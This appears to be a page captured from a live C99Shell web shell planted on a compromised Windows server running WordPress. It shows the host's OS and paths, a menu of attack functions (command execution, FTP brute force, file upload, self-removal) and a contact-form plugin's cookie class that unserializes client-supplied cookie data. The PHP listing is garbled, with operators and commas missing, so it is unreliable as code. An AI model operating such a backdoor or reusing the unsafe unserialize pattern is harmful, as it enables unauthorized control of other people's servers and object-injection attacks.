!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\plugins\wcp-contact-form\agp-core\classes\persistence\session\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.45%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Agp_CookieAbstract.class.php (2.12 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Webcodin\WCPContactForm\Core;

class 
Agp_CookieAbstract {

    private 
$name;
    
    public function 
__construct() {
        
$this->name strtolower(get_class($this));
    }
    
    private function 
_setCookie ($key NULL$value = array()) {
        
$cookie $this->_getCookie();
        if (!empty(
$key)) {
            
$cookie[$key] = $value;
        } else {
            
$cookie $value;
        }
        
setcookie($this->nameserialize($cookie), 0'/');                    
        
$_COOKIE[$this->name] = serialize($cookie);
    }

    private function 
_getCookie ($key NULL) {
        if (!empty(
$_COOKIE[$this->name])) {
            
$cookie unserialize(stripslashes($_COOKIE[$this->name]));
            if (!empty(
$cookie)) {
                if (!empty(
$key)) {
                    if (!empty(
$cookie[$key])) {
                        return 
$cookie[$key];    
                    }
                } else {
                    return 
$cookie;
                }                            
            }
        } else {
            return array();
        }
    }    
    
    public function 
add ($key$id$value) {
        
$cookie $this->_getCookie();
        
$cookie[$key][$id] = $value;
        
$this->_setCookie(NULL$cookie);
    }
    
    public function 
set ($key$value) {
        
$this->_setCookie($key$value);
    }    
    
    public function 
get($key) {
        return 
$this->_getCookie($key);
    }
    
    public function 
getAll() {
        return 
$this->_getCookie();
    }    
    
    public function 
reset($key NULL) {
        
$cookie $this->_getCookie();        
        if (!empty(
$key)) {
            unset(
$cookie[$key]);                    
        } else {
            
$cookie=array();
        }            
        
$this->_setCookie(NULL$cookie);
    }    
    
    public function 
exists($key) {
        
$cookie $this->_getCookie();                
        return (!empty(
$cookie[$key]));                    
    }
    
    public function 
getName() {
        return 
$this->name;
    }

    public function 
setName($name) {
        
$this->name $name;
        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--